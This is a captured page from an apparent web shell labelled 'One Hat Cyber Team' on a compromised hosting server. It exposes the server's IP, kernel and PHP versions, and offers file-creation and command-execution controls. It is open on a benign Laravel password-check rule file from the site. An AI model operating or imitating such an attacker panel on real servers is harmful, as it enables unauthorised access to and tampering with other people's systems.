One Hat Cyber Team
Your IP :
18.219.115.86
Server IP :
192.145.235.60
Server :
Linux ngx365.inmotionhosting.com 5.14.0-427.33.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 30 09:45:56 EDT 2024 x86_64
Server Software :
Apache
PHP Version :
8.2.27
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
centos12
/
bizcento.com
/
app
/
Rules
/
Edit File:
MatchOldPasswordRule.php
<?php namespace App\Rules; use Illuminate\Contracts\Validation\Rule; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Hash; class MatchOldPasswordRule implements Rule { private $personType; /** * Create a new rule instance. * * @return void */ public function __construct($role) { // here, $role variable defines whether it is admin or user $this->personType = $role; } /** * Determine if the validation rule passes. * * @param string $attribute * @param mixed $value * @return bool */ public function passes($attribute, $value): bool { if ($this->personType == 'admin') { $authAdminPass = Auth::guard('admin')->user()->password; return Hash::check($value, $authAdminPass); } else if ($this->personType == 'user') { $authUserPass = Auth::guard('web')->user()->password; return Hash::check($value, $authUserPass); } } /** * Get the validation error message. * * @return string */ public function message(): string { return 'Your provided current password does not match!'; } }
Simpan